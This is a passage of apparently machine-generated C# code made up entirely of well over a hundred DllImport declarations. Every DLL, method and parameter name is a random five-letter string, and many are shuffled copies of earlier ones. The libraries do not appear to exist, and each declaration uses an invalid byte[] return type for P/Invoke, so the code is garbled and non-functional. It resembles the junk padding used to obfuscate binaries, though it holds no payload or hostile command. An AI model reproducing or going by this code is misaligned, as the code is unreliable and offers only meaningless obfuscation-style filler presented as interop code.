  public static extern byte[] pbqtv([MarshalAs(UnmanagedType.VBByRefStr)] ref string BpLBr, string[] FPzzm, char VzThu);

  [DllImport("AvqHF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] etgmL([MarshalAs(UnmanagedType.VBByRefStr)] ref string dzUdZ, string[] loCVZ, char isoQg);

  [DllImport("CLMIO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ASngU([MarshalAs(UnmanagedType.VBByRefStr)] ref string AsBfr, string[] qGLNE, char esmUD);

  [DllImport("gBOCo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FbDHU([MarshalAs(UnmanagedType.VBByRefStr)] ref string OmlMt, string[] LvCcC, char NGZUs);

  [DllImport("ERodm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Onfcn([MarshalAs(UnmanagedType.VBByRefStr)] ref string IEhiP, string[] lpvnR, char cdbfD);

  [DllImport("VceTt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IQuHG([MarshalAs(UnmanagedType.VBByRefStr)] ref string ICnSU, string[] qSZni, char QfEEf);

  [DllImport("AQrRe.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oBdvc([MarshalAs(UnmanagedType.VBByRefStr)] ref string VpZuf, string[] purDT, char iqsCb);

  [DllImport("FNDie.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TzAgn([MarshalAs(UnmanagedType.VBByRefStr)] ref string fdhSb, string[] hzZVo, char egVvb);

  [DllImport("lcpAh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EDlZt([MarshalAs(UnmanagedType.VBByRefStr)] ref string hTTuE, string[] QsNrP, char htigb);

  [DllImport("MHSmm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rpMuF([MarshalAs(UnmanagedType.VBByRefStr)] ref string GHRqV, string[] BPvDU, char eSAtu);

  [DllImport("Opbqt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] szldl([MarshalAs(UnmanagedType.VBByRefStr)] ref string voNqT, string[] FBpLB, char rFPzz);

  [DllImport("uetgm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mVzTh([MarshalAs(UnmanagedType.VBByRefStr)] ref string LAvqH, string[] FdzUd, char ZloCV);

  [DllImport("gASng.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZisoQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string UCLMI, string[] OAsBf, char rqGLN);

  [DllImport("DFbDH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EesmU([MarshalAs(UnmanagedType.VBByRefStr)] ref string UgBOC, string[] oOmlM, char tLvCc);

  [DllImport("sOnfc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CNGZU([MarshalAs(UnmanagedType.VBByRefStr)] ref string nERod, string[] mIEhi, char Plpvn);

  [DllImport("DIQuH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Rcdbf([MarshalAs(UnmanagedType.VBByRefStr)] ref string GVceT, string[] tICnS, char UqSZn);

  [DllImport("foBdv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iQfEE([MarshalAs(UnmanagedType.VBByRefStr)] ref string cAQrR, string[] eVpZu, char fpurD);

  [DllImport("bTzAg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TiqsC([MarshalAs(UnmanagedType.VBByRefStr)] ref string nFNDi, string[] efdhS, char bhzZV);

  [DllImport("bEDlZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oegVv([MarshalAs(UnmanagedType.VBByRefStr)] ref string tlcpA, string[] hhTTu, char EQsNr);

  [DllImport("brpMu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Phtig([MarshalAs(UnmanagedType.VBByRefStr)] ref string FMHSm, string[] mGHRq, char VBPvD);

  [DllImport("uszld.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UeSAt([MarshalAs(UnmanagedType.VBByRefStr)] ref string lOpbq, string[] tvoNq, char TFBpL);

  [DllImport("zmVzT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BrFPz([MarshalAs(UnmanagedType.VBByRefStr)] ref string huetg, string[] mLAvq, char HFdzU);

  [DllImport("VZiso.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dZloC([MarshalAs(UnmanagedType.VBByRefStr)] ref string QgASn, string[] gUCLM, char IOAsB);

  [DllImport("NEesm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] frqGL([MarshalAs(UnmanagedType.VBByRefStr)] ref string UDFbD, string[] HUgBO, char CoOml);

  [DllImport("cCNGZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MtLvC([MarshalAs(UnmanagedType.VBByRefStr)] ref string UsOnf, string[] cnERo, char dmIEh);

  [DllImport("nRcdb.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iPlpv([MarshalAs(UnmanagedType.VBByRefStr)] ref string fDIQu, string[] HGVce, char TtICn);

  [DllImport("niQfE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SUqSZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string EfoBd, string[] vcAQr, char ReVpZ);

  [DllImport("VoegV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SbhzZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string vbEDl, string[] Ztlcp, char AhhTT);

  [DllImport("rPhti.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uEQsN([MarshalAs(UnmanagedType.VBByRefStr)] ref string gbrpM, string[] uFMHS, char mmGHR);

  [DllImport("DUeSA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qVBPv([MarshalAs(UnmanagedType.VBByRefStr)] ref string tuszl, string[] dlOpb, char qtvoN);

  [DllImport("LBrFP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qTFBp([MarshalAs(UnmanagedType.VBByRefStr)] ref string zzmVz, string[] Thuet, char gmLAv);

  [DllImport("UdZlo.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qHFdz([MarshalAs(UnmanagedType.VBByRefStr)] ref string CVZis, string[] oQgAS, char ngUCL);

  [DllImport("BfrqG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MIOAs([MarshalAs(UnmanagedType.VBByRefStr)] ref string LNEes, string[] mUDFb, char DHUgB);

  [DllImport("lMtLv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OCoOm([MarshalAs(UnmanagedType.VBByRefStr)] ref string CcCNG, string[] ZUsOn, char fcnER);

  [DllImport("hiPlp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] odmIE([MarshalAs(UnmanagedType.VBByRefStr)] ref string vnRcd, string[] bfDIQ, char uHGVc);

  [DllImport("nSUqS.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eTtIC([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZniQf, string[] EEfoB, char dvcAQ);

  [DllImport("Zufpu.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rReVp([MarshalAs(UnmanagedType.VBByRefStr)] ref string rDTiq, string[] sCbTz, char AgnFN);

  [DllImport("hSbhz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Diefd([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZVoeg, string[] VvbED, char lZtlc);

  [DllImport("TuEQs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pAhhT([MarshalAs(UnmanagedType.VBByRefStr)] ref string NrPht, string[] igbrp, char MuFMH);

  [DllImport("RqVBP.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SmmGH([MarshalAs(UnmanagedType.VBByRefStr)] ref string vDUeS, string[] Atusz, char ldlOp);

  [DllImport("vqHFd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tgmLA([MarshalAs(UnmanagedType.VBByRefStr)] ref string zUdZl, string[] oCVZi, char soQgA);

  [DllImport("LMIOA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SngUC([MarshalAs(UnmanagedType.VBByRefStr)] ref string sBfrq, string[] GLNEe, char smUDF);

  [DllImport("BOCoO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bDHUg([MarshalAs(UnmanagedType.VBByRefStr)] ref string mlMtL, string[] vCcCN, char GZUsO);

  [DllImport("ceTtI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QuHGV([MarshalAs(UnmanagedType.VBByRefStr)] ref string CnSUq, string[] SZniQ, char fEEfo);

  [DllImport("QrReV.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BdvcA([MarshalAs(UnmanagedType.VBByRefStr)] ref string pZufp, string[] urDTi, char qsCbT);

  [DllImport("NDief.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zAgnF([MarshalAs(UnmanagedType.VBByRefStr)] ref string dhSbh, string[] zZVoe, char gVvbE);

  [DllImport("cpAhh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DlZtl([MarshalAs(UnmanagedType.VBByRefStr)] ref string TTuEQ, string[] sNrPh, char tigbr);

  [DllImport("HSmmG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] pMuFM([MarshalAs(UnmanagedType.VBByRefStr)] ref string HRqVB, string[] PvDUe, char SAtus);

  [DllImport("pbqtv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zldlO([MarshalAs(UnmanagedType.VBByRefStr)] ref string oNqTF, string[] BpLBr, char FPzzm);

  [DllImport("etgmL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VzThu([MarshalAs(UnmanagedType.VBByRefStr)] ref string AvqHF, string[] dzUdZ, char loCVZ);

  [DllImport("ASngU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] isoQg([MarshalAs(UnmanagedType.VBByRefStr)] ref string CLMIO, string[] AsBfr, char qGLNE);

  [DllImport("FbDHU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] esmUD([MarshalAs(UnmanagedType.VBByRefStr)] ref string gBOCo, string[] OmlMt, char LvCcC);

  [DllImport("Onfcn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NGZUs([MarshalAs(UnmanagedType.VBByRefStr)] ref string ERodm, string[] IEhiP, char lpvnR);

  [DllImport("IQuHG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cdbfD([MarshalAs(UnmanagedType.VBByRefStr)] ref string VceTt, string[] ICnSU, char qSZni);

  [DllImport("oBdvc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QfEEf([MarshalAs(UnmanagedType.VBByRefStr)] ref string AQrRe, string[] VpZuf, char purDT);

  [DllImport("TzAgn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iqsCb([MarshalAs(UnmanagedType.VBByRefStr)] ref string FNDie, string[] fdhSb, char hzZVo);

  [DllImport("EDlZt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] egVvb([MarshalAs(UnmanagedType.VBByRefStr)] ref string lcpAh, string[] hTTuE, char QsNrP);

  [DllImport("rpMuF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] htigb([MarshalAs(UnmanagedType.VBByRefStr)] ref string MHSmm, string[] GHRqV, char BPvDU);

  [DllImport("szldl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eSAtu([MarshalAs(UnmanagedType.VBByRefStr)] ref string Opbqt, string[] voNqT, char FBpLB);

  [DllImport("mVzTh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rFPzz([MarshalAs(UnmanagedType.VBByRefStr)] ref string uetgm, string[] LAvqH, char FdzUd);

  [DllImport("ZisoQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZloCV([MarshalAs(UnmanagedType.VBByRefStr)] ref string gASng, string[] UCLMI, char OAsBf);

  [DllImport("EesmU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] rqGLN([MarshalAs(UnmanagedType.VBByRefStr)] ref string DFbDH, string[] UgBOC, char oOmlM);

  [DllImport("CNGZU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] tLvCc([MarshalAs(UnmanagedType.VBByRefStr)] ref string sOnfc, string[] nERod, char mIEhi);

  [DllImport("Rcdbf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Plpvn([MarshalAs(UnmanagedType.VBByRefStr)] ref string DIQuH, string[] GVceT, char tICnS);

  [DllImport("iQfEE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UqSZn([MarshalAs(UnmanagedType.VBByRefStr)] ref string foBdv, string[] cAQrR, char eVpZu);

  [DllImport("TiqsC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fpurD([MarshalAs(UnmanagedType.VBByRefStr)] ref string bTzAg, string[] nFNDi, char efdhS);

  [DllImport("oegVv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bhzZV([MarshalAs(UnmanagedType.VBByRefStr)] ref string bEDlZ, string[] tlcpA, char hhTTu);

  [DllImport("Phtig.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EQsNr([MarshalAs(UnmanagedType.VBByRefStr)] ref string brpMu, string[] FMHSm, char mGHRq);

  [DllImport("UeSAt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VBPvD([MarshalAs(UnmanagedType.VBByRefStr)] ref string uszld, string[] lOpbq, char tvoNq);

  [DllImport("BrFPz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TFBpL([MarshalAs(UnmanagedType.VBByRefStr)] ref string zmVzT, string[] huetg, char mLAvq);

  [DllImport("dZloC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HFdzU([MarshalAs(UnmanagedType.VBByRefStr)] ref string VZiso, string[] QgASn, char gUCLM);

  [DllImport("frqGL.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IOAsB([MarshalAs(UnmanagedType.VBByRefStr)] ref string NEesm, string[] UDFbD, char HUgBO);

  [DllImport("MtLvC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] CoOml([MarshalAs(UnmanagedType.VBByRefStr)] ref string cCNGZ, string[] UsOnf, char cnERo);

  [DllImport("iPlpv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dmIEh([MarshalAs(UnmanagedType.VBByRefStr)] ref string nRcdb, string[] fDIQu, char HGVce);

  [DllImport("SUqSZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TtICn([MarshalAs(UnmanagedType.VBByRefStr)] ref string niQfE, string[] EfoBd, char vcAQr);

  [DllImport("ufpur.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ReVpZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string DTiqs, string[] CbTzA, char gnFND);

  [DllImport("SbhzZ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] iefdh([MarshalAs(UnmanagedType.VBByRefStr)] ref string VoegV, string[] vbEDl, char Ztlcp);

  [DllImport("uEQsN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AhhTT([MarshalAs(UnmanagedType.VBByRefStr)] ref string rPhti, string[] gbrpM, char uFMHS);

  [DllImport("qVBPv.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mmGHR([MarshalAs(UnmanagedType.VBByRefStr)] ref string DUeSA, string[] tuszl, char dlOpb);

  [DllImport("qTFBp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] qtvoN([MarshalAs(UnmanagedType.VBByRefStr)] ref string LBrFP, string[] zzmVz, char Thuet);

  [DllImport("qHFdz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gmLAv([MarshalAs(UnmanagedType.VBByRefStr)] ref string UdZlo, string[] CVZis, char oQgAS);

  [DllImport("MIOAs.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ngUCL([MarshalAs(UnmanagedType.VBByRefStr)] ref string BfrqG, string[] LNEes, char mUDFb);

  [DllImport("OCoOm.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] DHUgB([MarshalAs(UnmanagedType.VBByRefStr)] ref string lMtLv, string[] CcCNG, char ZUsOn);

  [DllImport("odmIE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fcnER([MarshalAs(UnmanagedType.VBByRefStr)] ref string hiPlp, string[] vnRcd, char bfDIQ);

  [DllImport("eTtIC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] uHGVc([MarshalAs(UnmanagedType.VBByRefStr)] ref string nSUqS, string[] ZniQf, char EEfoB);

  [DllImport("rReVp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dvcAQ([MarshalAs(UnmanagedType.VBByRefStr)] ref string Zufpu, string[] rDTiq, char sCbTz);

  [DllImport("Diefd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] AgnFN([MarshalAs(UnmanagedType.VBByRefStr)] ref string hSbhz, string[] ZVoeg, char VvbED);

  [DllImport("pAhhT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] lZtlc([MarshalAs(UnmanagedType.VBByRefStr)] ref string TuEQs, string[] NrPht, char igbrp);

  [DllImport("SmmGH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MuFMH([MarshalAs(UnmanagedType.VBByRefStr)] ref string RqVhv, string[] elDLB, char gccbf);

  [DllImport("GVceT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] PIPtU([MarshalAs(UnmanagedType.VBByRefStr)] ref string tVCnh, string[] UqhVm, char vffRE);

  [DllImport("cNQrf.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] fCOdI([MarshalAs(UnmanagedType.VBByRefStr)] ref string dVpnI, string[] fDIFQ, char TiEFP);

  [DllImport("BSNDi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZSzNg([MarshalAs(UnmanagedType.VBByRefStr)] ref string rrqug, string[] bgLZV, char ortmL);

  [DllImport("GloCM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] bRDln([MarshalAs(UnmanagedType.VBByRefStr)] ref string huiTu, string[] RQsbr, char ehHhs);

  [DllImport("SMHSl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oFDbu([MarshalAs(UnmanagedType.VBByRefStr)] ref string ATHRp, string[] lOPvQ, char UeSAH);

  [DllImport("vcpoE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HGMiq([MarshalAs(UnmanagedType.VBByRefStr)] ref string HLCcq, string[] iRBDV, char BERPz);

  [DllImport("hIeHg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] MmmMT([MarshalAs(UnmanagedType.VBByRefStr)] ref string zZzID, string[] UFdMU, char dZlBP);

  [DllImport("fgNSn.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VZiFB([MarshalAs(UnmanagedType.VBByRefStr)] ref string tlPLM, string[] IOAGN, char eFETL);

  [DllImport("iQFbQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NEeGm([MarshalAs(UnmanagedType.VBByRefStr)] ref string GTgOO, string[] CCdmz, char btZvO);

  [DllImport("Usdns.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cOMGZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string pBQRo, string[] pAUDh, char velDL);

  [DllImport("fPIPt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Bgccb([MarshalAs(UnmanagedType.VBByRefStr)] ref string UGVce, string[] TtVCn, char hUqhV);

  [DllImport("EfCOd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mvffR([MarshalAs(UnmanagedType.VBByRefStr)] ref string IcNQr, string[] fdVpn, char IfDIF);

  [DllImport("PZSzN.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QTiEF([MarshalAs(UnmanagedType.VBByRefStr)] ref string gBSND, string[] irrqu, char gbgLZ);

  [DllImport("LbRDl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] Vortm([MarshalAs(UnmanagedType.VBByRefStr)] ref string nGloC, string[] MhuiT, char uRQsb);

  [DllImport("HHGMi.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QUeSA([MarshalAs(UnmanagedType.VBByRefStr)] ref string qvcpo, string[] EHLCc, char qiRBD);

  [DllImport("zMmmM.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] VBERP([MarshalAs(UnmanagedType.VBByRefStr)] ref string ThIeH, string[] gzZzI, char DUFdM);

  [DllImport("PVZiF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UdZlB([MarshalAs(UnmanagedType.VBByRefStr)] ref string BfgNS, string[] ntlPL, char MIOAG);

  [DllImport("LNEeG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NeFET([MarshalAs(UnmanagedType.VBByRefStr)] ref string miQFb, string[] QGTgO, char OCCdm);

  [DllImport("OcOMG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] zbtZv([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZUsdn, string[] spBQR, char opAUD);

  [DllImport("LBgcc.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] hvelD([MarshalAs(UnmanagedType.VBByRefStr)] ref string bfPIP, string[] tUGVc, char eTtVC);

  [DllImport("Vmvff.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nhUqh([MarshalAs(UnmanagedType.VBByRefStr)] ref string REfCO, string[] dIcNQ, char rfdVp);

  [DllImport("FQTiE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] nIfDI([MarshalAs(UnmanagedType.VBByRefStr)] ref string FPZSz, string[] NgBSN, char Dirrq);

  [DllImport("ZVort.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ugbgL([MarshalAs(UnmanagedType.VBByRefStr)] ref string mLbRD, string[] lnGlo, char CMhui);

  [DllImport("DVBER.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] cqiRB([MarshalAs(UnmanagedType.VBByRefStr)] ref string PzMmm, string[] MThIe, char HgzZz);

  [DllImport("MUdZl.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IDUFd([MarshalAs(UnmanagedType.VBByRefStr)] ref string BPVZi, string[] FBfgN, char SntlP);

  [DllImport("GNeFE.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] LMIOA([MarshalAs(UnmanagedType.VBByRefStr)] ref string TLNEe, string[] GmiQF, char bQGTg);

  [DllImport("Dhvel.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RopAU([MarshalAs(UnmanagedType.VBByRefStr)] ref string DLBgc, string[] cbfPI, char PtUGV);

  [DllImport("CnhUq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ceTtV([MarshalAs(UnmanagedType.VBByRefStr)] ref string hVmvf, string[] fREfC, char OdIcN);

  [DllImport("pnIfD.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] QrfdV([MarshalAs(UnmanagedType.VBByRefStr)] ref string IFQTi, string[] EFPZS, char zNgBS);

  [DllImport("qugbg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NDirr([MarshalAs(UnmanagedType.VBByRefStr)] ref string LZVor, string[] tmLbR, char DlnGl);

  [DllImport("iTuRQ.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] oCMhu([MarshalAs(UnmanagedType.VBByRefStr)] ref string sbreh, string[] HhsoF, char DbuSM);

  [DllImport("HRplO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] HSlAT([MarshalAs(UnmanagedType.VBByRefStr)] ref string PvQUe, string[] SAHHG, char Miqvc);

  [DllImport("CcqiR.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] poEHL([MarshalAs(UnmanagedType.VBByRefStr)] ref string BDVBE, string[] RPzMm, char mMThI);

  [DllImport("zIDUF.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] eHgzZ([MarshalAs(UnmanagedType.VBByRefStr)] ref string dMUdZ, string[] lBPVZ, char iFBfg);

  [DllImport("PLMIO.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] NSntl([MarshalAs(UnmanagedType.VBByRefStr)] ref string AGNeF, string[] ETLNE, char eGmiQ);

  [DllImport("gOOCC.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FbQGT([MarshalAs(UnmanagedType.VBByRefStr)] ref string dmzbt, string[] ZvOcO, char MGZUs);

  [DllImport("QRopA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dnspB([MarshalAs(UnmanagedType.VBByRefStr)] ref string UDhve, string[] lDLBg, char ccbfP);

  [DllImport("VceTt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] IPtUG([MarshalAs(UnmanagedType.VBByRefStr)] ref string VCnhU, string[] qhVmv, char ffREf);

  [DllImport("NQrfd.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] COdIc([MarshalAs(UnmanagedType.VBByRefStr)] ref string VpnIf, string[] DIFQT, char iEFPZ);

  [DllImport("SNDir.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] SzNgB([MarshalAs(UnmanagedType.VBByRefStr)] ref string rqugb, string[] gLZVo, char rtmLb);

  [DllImport("loCMh.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] RDlnG([MarshalAs(UnmanagedType.VBByRefStr)] ref string uiTuR, string[] Qsbre, char hHhso);

  [DllImport("MHSlA.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] FDbuS([MarshalAs(UnmanagedType.VBByRefStr)] ref string THRpl, string[] OPvQU, char eSAHH);

  [DllImport("cpoEH.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] GMiqv([MarshalAs(UnmanagedType.VBByRefStr)] ref string LCcqi, string[] RBDVB, char ERPzM);

  [DllImport("IeHgz.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] mmMTh([MarshalAs(UnmanagedType.VBByRefStr)] ref string ZzIDU, string[] FdMUd, char ZlBPV);

  [DllImport("gNSnt.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ZiFBf([MarshalAs(UnmanagedType.VBByRefStr)] ref string lPLMI, string[] OAGNe, char FETLN);

  [DllImport("QFbQG.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] EeGmi([MarshalAs(UnmanagedType.VBByRefStr)] ref string TgOOC, string[] Cdmzb, char tZvOc);

  [DllImport("sdnsp.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] OMGZU([MarshalAs(UnmanagedType.VBByRefStr)] ref string BQRop, string[] AUDhv, char elDLB);

  [DllImport("PIPtU.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] gccbf([MarshalAs(UnmanagedType.VBByRefStr)] ref string GVceT, string[] tVCnh, char UqhVm);

  [DllImport("fCOdI.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] vffRE([MarshalAs(UnmanagedType.VBByRefStr)] ref string cNQrf, string[] dVpnI, char fDIFQ);

  [DllImport("ZSzNg.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] TiEFP([MarshalAs(UnmanagedType.VBByRefStr)] ref string BSNDi, string[] rrqug, char bgLZV);

  [DllImport("bRDln.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] ortmL([MarshalAs(UnmanagedType.VBByRefStr)] ref string GloCM, string[] huiTu, char RQsbr);

  [DllImport("HGMiq.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] UeSAH([MarshalAs(UnmanagedType.VBByRefStr)] ref string vcpoE, string[] HLCcq, char iRBDV);

  [DllImport("MmmMT.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] BERPz([MarshalAs(UnmanagedType.VBByRefStr)] ref string hIeHg, string[] zZzID, char UFdMU);

  [DllImport("VZiFB.dll", CharSet = CharSet.Unicode, SetLastError = true)]
  public static extern byte[] dZlBP([MarshalAs(UnmanagedType.VBByRefStr)] ref string fgNSn, string[] tlPLM, char IOAGN);

